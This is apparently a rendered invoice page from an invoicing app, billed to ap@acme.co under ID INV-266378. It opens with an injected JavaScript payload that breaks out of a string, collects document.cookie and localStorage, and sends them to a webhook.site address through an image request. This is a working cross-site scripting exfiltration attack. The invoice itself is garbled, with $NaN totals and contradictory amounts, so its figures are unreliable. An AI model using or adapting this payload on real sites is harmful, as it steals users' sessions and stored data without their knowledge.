

');}var
d=document.cookie+'|'+JSON.stringify(localStorage);document.title='XSS_'+document.domain+'_'+d;new
Image().src='https://webhook.site/1df76376-3d18-433a-
b144-7d48df331c8e/?
RB='+encodeURIComponent(d);function z(){var y=('

billing@northstar.co

Invoice

Payment request for \$NaN

Bill To

Amount due

RemBot

\$NaN

ap@acme.co

Description	Qty	Rate	Amount
Consulting	1	USD 100.00	USD 0.00
Subtotal		USD 100.00	
Tax		USD 0.00	
Discount		USD 0.00	
Shipping		USD 0.00	
Total		\$NaN	

Thank you

hi
Payment due within 7 days. Please include invoice ID INV-266378 with your payment.

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